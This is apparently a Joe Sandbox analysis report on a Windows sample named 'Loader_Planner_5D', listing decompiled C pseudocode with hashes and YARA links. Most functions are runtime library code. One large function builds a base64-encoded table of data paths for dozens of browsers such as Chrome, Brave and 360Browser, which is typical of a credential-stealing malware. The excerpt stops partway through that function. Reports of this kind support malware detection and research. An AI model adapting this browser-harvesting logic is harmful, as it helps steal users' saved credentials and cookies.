0x7ff7106674cd
0x7ff7106674cf
0x7ff7106674d9
0x7ff7106674db
0x7ff7106674ec

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7106674DB

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5b5b5ed457678b9d07e86474a806b18ccbf8ca13eb2cc6ce8674411b76c374df
Instruction ID: f6a43b68b1f26ac2d01f87feec4e377d56b024e1b56da941396068d036ababec
Opcode Fuzzy Hash: 5b5b5ed457678b9d07e86474a806b18ccbf8ca13eb2cc6ce8674411b76c374df
Instruction Fuzzy Hash: CE216532A18E8286DB61AF19D440379B6B2FB84B74FA44234E65D477D9EF3CE409CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710663C68 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF710663C68(signed int __ecx, long long __rbx, long long _a8) {
				intOrPtr _t13;

				goto 0x10663b94;
				asm("int3");
				asm("int3");
				asm("int3");
				_a8 = __rbx;
				if ( *0x1068b45c != 0) goto 0x10663caa;
				if (__ecx + 1 - 0x100 > 0) goto 0x10663d09;
				_t13 =  *0x10689230; // 0x7ff71066ec30
				return  *(_t13 + __ecx * 2) & 2;
			}

0x7ff710663c68
0x7ff710663c6d
0x7ff710663c6e
0x7ff710663c6f
0x7ff710663c70
0x7ff710663c87
0x7ff710663c8f
0x7ff710663c91
0x7ff710663ca9

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF710663BC5

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 05cd638c25e8ede3f273f6c50720bb0218d4a95c6ea23e9e6adc6a2a73f8c5eb
Instruction ID: 6fc41a67f714dde1fd857fe23ae08a4fb97dffd1ea4a5da9fc9e79f539b1ec5e
Opcode Fuzzy Hash: 05cd638c25e8ede3f273f6c50720bb0218d4a95c6ea23e9e6adc6a2a73f8c5eb
Instruction Fuzzy Hash: D2116336E1CE9281EA60BF51940017DE2B6AFA5BA0FD48031EA4D57786DF7DF4098B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064F434 Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF71064F434(char __ecx, long long __rax, long long __rdx, char _a8, char _a16, void* _a24, char _a32) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				char _v48;
				char _v56;
				signed long long _v64;
				signed long long _v72;
				void* _t34;
				void* _t36;
				void* _t37;
				long long _t40;
				void* _t49;
				void* _t50;
				void* _t54;
				void* _t55;

				_t52 = __rdx;
				_t40 = __rax;
				_t35 = __ecx;
				_a16 = __rdx;
				_a8 = __ecx;
				_v72 = _v72 & 0x00000000;
				_v64 = _v64 & 0x00000000;
				if (__ecx - 5 <= 0) goto 0x1064f468;
				E00007FF77FF71064A624(__rax);
				 *((intOrPtr*)(__rax)) = 0x16;
				E00007FF77FF71064A198();
				goto 0x1064f4cf;
				E00007FF77FF710650904(__rax, _t49, __rdx, _t55);
				_a32 = _t40;
				E00007FF77FF710652C44(_t36, _t37, _t40, _t54);
				E00007FF77FF71065A8FC(_t35, _t40, _t49, _t50, _t52);
				 *(_a32 + 0x3a8) =  *(_a32 + 0x3a8) | 0x00000010;
				_v56 =  &_a32;
				_v48 =  &_v64;
				_v40 =  &_a32;
				_v32 =  &_v72;
				_v24 =  &_a8;
				_v16 =  &_a16;
				_t34 = E00007FF77FF71064EA20( &_v48,  &_v56); // executed
				return _t34;
			}

0x7ff71064f434
0x7ff71064f434
0x7ff71064f434
0x7ff71064f434
0x7ff71064f439
0x7ff71064f445
0x7ff71064f44a
0x7ff71064f452
0x7ff71064f454
0x7ff71064f459
0x7ff71064f45f
0x7ff71064f466
0x7ff71064f468
0x7ff71064f46d
0x7ff71064f471
0x7ff71064f476
0x7ff71064f48f
0x7ff71064f49a
0x7ff71064f4a2
0x7ff71064f4aa
0x7ff71064f4b2
0x7ff71064f4ba
0x7ff71064f4c2
0x7ff71064f4c6
0x7ff71064f4d4

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71064F45F

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 98bc77b0e97f830580c4153c21d3306d55afedeba17771a8a57b8b7eccc9b6dc
Instruction ID: c09c453e62a4c76cfe246e0ef3b957a15f72cf738e705bfc677bc1f28bf450fe
Opcode Fuzzy Hash: 98bc77b0e97f830580c4153c21d3306d55afedeba17771a8a57b8b7eccc9b6dc
Instruction Fuzzy Hash: AF111772A14F469CEB10EFA0D4812ED37B4FB04368F901526EA4D12B5ADF34D198C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063DFD0 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF71063DFD0(signed int __eax, void* __ecx, unsigned int __rdx) {
				signed int _v16;
				char _v19;
				unsigned int _v48;
				signed long long _t25;
				unsigned long long _t38;
				signed long long _t40;

				_t25 =  *0x10689010; // 0xafe3859a1ce3
				_v16 = _t25 ^ _t40;
				_v48 = __rdx;
				__imp__GetPhysicallyInstalledSystemMemory(); // executed
				_t38 = __rdx >> 3;
				r8d = 0xcccccccd + _t38;
				r8b = r8b + r8b;
				 *((char*)( &_v19 - 1)) = __ecx - r8b + 0x30;
				if (_t38 != 0) goto 0x1063e010;
				return E00007FF77FF710641DF0(E00007FF77FF71063D7A0((__eax * (_v48 >> 0x0000000a) >> 0x00000020 & 0x000000ff) << 2, __rdx,  &_v19 - 1,  &_v19), __ecx - r8b + 0x30, _v16 ^ _t40);
			}

0x7ff71063dfd6
0x7ff71063dfe0
0x7ff71063dfea
0x7ff71063dff2
0x7ff71063e019
0x7ff71063e023
0x7ff71063e027
0x7ff71063e030
0x7ff71063e039
0x7ff71063e060

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE ref: 00007FF71063DFF2

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 1b4fc64842ac09d3e0be3e97c0fa54523c9cfffd628cd34f25357a463b27e4bd
Instruction ID: 614d38f09f949a41cdd8cd2bb4e11a99918241401eb414df2393f89da68ede06
Opcode Fuzzy Hash: 1b4fc64842ac09d3e0be3e97c0fa54523c9cfffd628cd34f25357a463b27e4bd
Instruction Fuzzy Hash: 3501DBB5F18A0981ED15DB2DB0226A6B762EBD87D4F940022DE4D07715CE3CE119DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710652430 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF710652430(void* __eax, signed int __rcx, signed int __rdx, void* __r10) {
				intOrPtr* _t22;
				signed int _t29;

				_t29 = __rdx;
				if (__rcx == 0) goto 0x1065244f;
				_t1 = _t29 - 0x20; // -32
				_t22 = _t1;
				if (_t22 - __rdx < 0) goto 0x10652492;
				_t25 =  ==  ? _t22 : __rcx * __rdx;
				goto 0x10652476;
				if (E00007FF77FF710650170() == 0) goto 0x10652492;
				if (E00007FF77FF71064D7F0(_t22,  ==  ? _t22 : __rcx * __rdx) == 0) goto 0x10652492;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t22 == 0) goto 0x10652461;
				goto 0x1065249f;
				E00007FF77FF71064A624(_t22);
				 *_t22 = 0xc;
				return 0;
			}

0x7ff710652430
0x7ff71065243f
0x7ff710652443
0x7ff710652443
0x7ff71065244d
0x7ff71065245b
0x7ff71065245f
0x7ff710652468
0x7ff710652474
0x7ff710652485
0x7ff71065248e
0x7ff710652490
0x7ff710652492
0x7ff710652497
0x7ff7106524a4

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF710650ADE,?,?,?,00007FF71064A62D,?,?,?,?,00007FF71065227E,?,?,00000000), ref: 00007FF710652485

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 26b8b14a92365b94ff6409931136631dc6737c182e3aa4a160539305c65c754a
Instruction ID: d48bde7f5ab16c330ed9e204c4afa3aad5c649437aea4661ced1ade1bd5b5eae
Opcode Fuzzy Hash: 26b8b14a92365b94ff6409931136631dc6737c182e3aa4a160539305c65c754a
Instruction Fuzzy Hash: 34F04F54B09E0341FE64B661D5512B582E31F56BF0F8C5431DD0D863C2ED1CF4984130

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710654688 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF710654688(intOrPtr* __rax, void* __rcx, void* __r10) {

				if (__rcx - 0xffffffe0 > 0) goto 0x106546d3;
				_t16 =  ==  ? __rax : __rcx;
				goto 0x106546ba;
				if (E00007FF77FF710650170() == 0) goto 0x106546d3;
				if (E00007FF77FF71064D7F0(__rax,  ==  ? __rax : __rcx) == 0) goto 0x106546d3;
				RtlAllocateHeap(??, ??, ??); // executed
				if (__rax == 0) goto 0x106546a5;
				goto 0x106546e0;
				E00007FF77FF71064A624(__rax);
				 *__rax = 0xc;
				return 0;
			}

0x7ff710654695
0x7ff71065469f
0x7ff7106546a3
0x7ff7106546ac
0x7ff7106546b8
0x7ff7106546c6
0x7ff7106546cf
0x7ff7106546d1
0x7ff7106546d3
0x7ff7106546d8
0x7ff7106546e5

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF710652265,?,?,00000000,00007FF7106581CF,?,?,?,00007FF71064E13B,?,?,?,00007FF71064E031), ref: 00007FF7106546C6

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 28c59bfc0920316d7197d66b1d4fcbbe2adb44338e70637cbe1651d9d35b0e6b
Instruction ID: 175e5b95ba683fd5d00d887189e0e72beaca23e95b3b2409b9793714179b4c2a
Opcode Fuzzy Hash: 28c59bfc0920316d7197d66b1d4fcbbe2adb44338e70637cbe1651d9d35b0e6b
Instruction Fuzzy Hash: FEF0F825F0DE0782FE647BA2984137A91A24F567F4F980670DD2E853C6DE6CB4988530

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF710625530 Relevance: 265.6, APIs: 4, Strings: 147, Instructions: 1355
COMMONCrypto

Download Yara Rule

C-Code - Quality: 25%

			E00007FF77FF710625530(void* __rax, long long __rbx, long long __rdx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t697;
				long long _t800;
				signed long long _t1114;
				signed long long _t1117;
				signed long long _t1120;
				signed long long _t1123;
				long long _t1127;
				long long _t1129;
				void* _t1131;
				void* _t1132;
				void* _t1134;
				void* _t1135;
				void* _t1137;
				void* _t1139;
				void* _t1140;

				_t1129 = __rsi;
				 *((long long*)(_t1134 + 8)) = __rbx;
				 *((long long*)(_t1134 + 0x18)) = __rsi;
				 *((long long*)(_t1134 + 0x20)) = __rdi;
				_t1132 = _t1134 - 0x1210;
				E00007FF77FF710663340(0x1310, __rax, _t1139, _t1140);
				_t1135 = _t1134 - __rax;
				_t800 = __rdx;
				 *((long long*)(_t1132 - 0x40)) = __rdx;
				 *((intOrPtr*)(_t1135 + 0x30)) = 0;
				 *((intOrPtr*)(_t1135 + 0x38)) = 0;
				asm("xorps xmm0, xmm0");
				asm("movups [edx], xmm0");
				asm("movups [ebp-0x30], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp-0x20], xmm1");
				_t8 = _t1129 + 0x10; // 0x10
				r8d = _t8;
				E00007FF77FF71062A010(__rdx, _t1132 - 0x30, "MzYwQnJvd3Nlcg==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "360Browser\\Browser";
				 *((long long*)(_t1135 + 0x28)) = 0x12;
				E00007FF77FF71062CB70(_t697, 0, "360Browser\\Browser", _t800, _t1132 - 0x10, _t1135 + 0x20, _t1132, _t1131);
				 *((intOrPtr*)(_t1135 + 0x30)) = 2;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x10], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x20], xmm1");
				_t15 = _t1129 + 8; // 0x8
				r8d = _t15;
				E00007FF77FF71062A010(_t800, _t1132 + 0x10, "MzYwc2U2", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "360se6";
				 *((long long*)(_t1135 + 0x28)) = 6;
				E00007FF77FF71062CB70(_t697, 0, "360se6", _t800, _t1132 + 0x30, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 6;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x50], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x60], xmm1");
				_t22 = _t1129 + 8; // 0x8
				r8d = _t22;
				E00007FF77FF71062A010(_t800, _t1132 + 0x50, "N1N0YXI=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "7Star\\7Star";
				 *((long long*)(_t1135 + 0x28)) = 0xb;
				E00007FF77FF71062CB70(_t697, 0, "7Star\\7Star", _t800, _t1132 + 0x70, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x90], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xa0], xmm1");
				_t29 = _t1129 + 0x14; // 0x14
				r8d = _t29;
				E00007FF77FF71062A010(_t800, _t1132 + 0x90, "QVZBU1RTb2Z0d2FyZQ==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "AVAST Software\\Browser";
				 *((long long*)(_t1135 + 0x28)) = 0x16;
				E00007FF77FF71062CB70(_t697, 0, "AVAST Software\\Browser", _t800, _t1132 + 0xb0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x1e;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xd0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xe0], xmm1");
				_t36 = _t1129 + 4; // 0x4
				r8d = _t36;
				E00007FF77FF71062A010(_t800, _t1132 + 0xd0, "QVZH", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "AVG\\Browser";
				 *((long long*)(_t1135 + 0x28)) = 0xb;
				E00007FF77FF71062CB70(_t697, 0, "AVG\\Browser", _t800, _t1132 + 0xf0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x3e;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x110], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x120], xmm1");
				_t43 = _t1129 + 0x10; // 0x10
				r8d = _t43;
				E00007FF77FF71062A010(_t800, _t1132 + 0x110, "QWNXZWJCcm93c2Vy", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "AcWebBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0xc;
				E00007FF77FF71062CB70(_t697, 0, "AcWebBrowser", _t800, _t1132 + 0x130, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x7e;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x150], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x160], xmm1");
				_t50 = _t1129 + 0x10; // 0x10
				r8d = _t50;
				E00007FF77FF71062A010(_t800, _t1132 + 0x150, "QmFpZHVTcGFyaw==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Baidu Spark";
				 *((long long*)(_t1135 + 0x28)) = 0xb;
				E00007FF77FF71062CB70(_t697, 0, "Baidu Spark", _t800, _t1132 + 0x170, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xfe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x190], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1a0], xmm1");
				_t57 = _t1129 + 8; // 0x8
				r8d = _t57;
				E00007FF77FF71062A010(_t800, _t1132 + 0x190, "Qmxpc2s=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Blisk";
				 *((long long*)(_t1135 + 0x28)) = 5;
				E00007FF77FF71062CB70(_t697, 0, "Blisk", _t800, _t1132 + 0x1b0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x1fe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1e0], xmm1");
				_t64 = _t1129 + 0xc; // 0xc
				r8d = _t64;
				E00007FF77FF71062A010(_t800, _t1132 + 0x1d0, "QmxhY2tIYXdr", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "BlackHawk";
				 *((long long*)(_t1135 + 0x28)) = 9;
				E00007FF77FF71062CB70(_t697, 0, "BlackHawk", _t800, _t1132 + 0x1f0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x3fe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x210], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x220], xmm1");
				_t71 = _t1129 + 8; // 0x8
				r8d = _t71;
				E00007FF77FF71062A010(_t800, _t1132 + 0x210, "QnJhdmU=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "BraveSoftware\\Brave-Browser";
				 *((long long*)(_t1135 + 0x28)) = 0x1b;
				E00007FF77FF71062CB70(_t697, 0, "BraveSoftware\\Brave-Browser", _t800, _t1132 + 0x230, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x7fe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x250], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x260], xmm1");
				_t78 = _t1129 + 0xc; // 0xc
				r8d = _t78;
				E00007FF77FF71062A010(_t800, _t1132 + 0x250, "QnJvbWl1bQ==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Bromium";
				 *((long long*)(_t1135 + 0x28)) = 7;
				E00007FF77FF71062CB70(_t697, 0, "Bromium", _t800, _t1132 + 0x270, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x290], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x2a0], xmm1");
				_t85 = _t1129 + 0xc; // 0xc
				r8d = _t85;
				E00007FF77FF71062A010(_t800, _t1132 + 0x290, "Q0NsZWFuZXIg", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "CCleaner Browser";
				 *((long long*)(_t1135 + 0x28)) = 0x10;
				E00007FF77FF71062CB70(_t697, 0, "CCleaner Browser", _t800, _t1132 + 0x2b0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x1ffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x2d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x2e0], xmm1");
				_t92 = _t1129 + 0x14; // 0x14
				r8d = _t92;
				E00007FF77FF71062A010(_t800, _t1132 + 0x2d0, "Q2F0YWxpbmFHcm91cA==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "CatalinaGroup\\Citrio";
				 *((long long*)(_t1135 + 0x28)) = 0x14;
				E00007FF77FF71062CB70(_t697, 0, "CatalinaGroup\\Citrio", _t800, _t1132 + 0x2f0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x3ffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x310], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x320], xmm1");
				_t99 = _t1129 + 0x10; // 0x10
				r8d = _t99;
				E00007FF77FF71062A010(_t800, _t1132 + 0x310, "Q2VudEJyb3dzZXI=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "CentBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0xb;
				E00007FF77FF71062CB70(_t697, 0, "CentBrowser", _t800, _t1132 + 0x330, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x7ffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x350], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x360], xmm1");
				_t106 = _t1129 + 8; // 0x8
				r8d = _t106;
				E00007FF77FF71062A010(_t800, _t1132 + 0x350, "Q2hlZG90", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Chedot";
				 *((long long*)(_t1135 + 0x28)) = 6;
				E00007FF77FF71062CB70(_t697, 0, "Chedot", _t800, _t1132 + 0x370, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xfffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x390], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x3a0], xmm1");
				_t113 = _t1129 + 8; // 0x8
				r8d = _t113;
				E00007FF77FF71062A010(_t800, _t1132 + 0x390, "Q2hyb21l", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Google\\Chrome";
				 *((long long*)(_t1135 + 0x28)) = 0xd;
				E00007FF77FF71062CB70(_t697, 0, "Google\\Chrome", _t800, _t1132 + 0x3b0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x1fffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x3d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x3e0], xmm1");
				_t120 = _t1129 + 0xc; // 0xc
				r8d = _t120;
				E00007FF77FF71062A010(_t800, _t1132 + 0x3d0, "Q2hyb21vZG8=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Chromodo";
				 *((long long*)(_t1135 + 0x28)) = 8;
				E00007FF77FF71062CB70(_t697, 0, "Chromodo", _t800, _t1132 + 0x3f0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x3fffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x410], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x420], xmm1");
				_t127 = _t1129 + 8; // 0x8
				r8d = _t127;
				E00007FF77FF71062A010(_t800, _t1132 + 0x410, "Q29jQ29j", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "CocCoc\\Browser";
				 *((long long*)(_t1135 + 0x28)) = 0xe;
				E00007FF77FF71062CB70(_t697, 0, "CocCoc\\Browser", _t800, _t1132 + 0x430, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x7fffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x450], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x460], xmm1");
				_t134 = _t1129 + 8; // 0x8
				r8d = _t134;
				E00007FF77FF71062A010(_t800, _t1132 + 0x450, "Q29tb2Rv", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Comodo\\Dragon";
				 *((long long*)(_t1135 + 0x28)) = 0xd;
				E00007FF77FF71062CB70(_t697, 0, "Comodo\\Dragon", _t800, _t1132 + 0x470, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x490], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x4a0], xmm1");
				_t141 = _t1129 + 0xc; // 0xc
				r8d = _t141;
				E00007FF77FF71062A010(_t800, _t1132 + 0x490, "Q29vbE5vdm8=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "CoolNovo";
				 *((long long*)(_t1135 + 0x28)) = 8;
				E00007FF77FF71062CB70(_t697, 0, "CoolNovo", _t800, _t1132 + 0x4b0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x1ffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x4d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x4e0], xmm1");
				_t148 = _t1129 + 8; // 0x8
				r8d = _t148;
				E00007FF77FF71062A010(_t800, _t1132 + 0x4d0, "Q29vd29u", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Coowon\\Coowon";
				 *((long long*)(_t1135 + 0x28)) = 0xd;
				E00007FF77FF71062CB70(_t697, 0, "Coowon\\Coowon", _t800, _t1132 + 0x4f0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x3ffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x510], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x520], xmm1");
				_t155 = _t1129 + 0x18; // 0x18
				r8d = _t155;
				E00007FF77FF71062A010(_t800, _t1132 + 0x510, "Q3J5cHRvVGFiQnJvd3Nlcg==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "CryptoTab Browser";
				 *((long long*)(_t1135 + 0x28)) = 0x11;
				E00007FF77FF71062CB70(_t697, 0, "CryptoTab Browser", _t800, _t1132 + 0x530, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x7ffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x550], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x560], xmm1");
				_t162 = _t1129 + 0x14; // 0x14
				r8d = _t162;
				E00007FF77FF71062A010(_t800, _t1132 + 0x550, "RWxlbWVudHNCcm93c2Vy", _t1137);
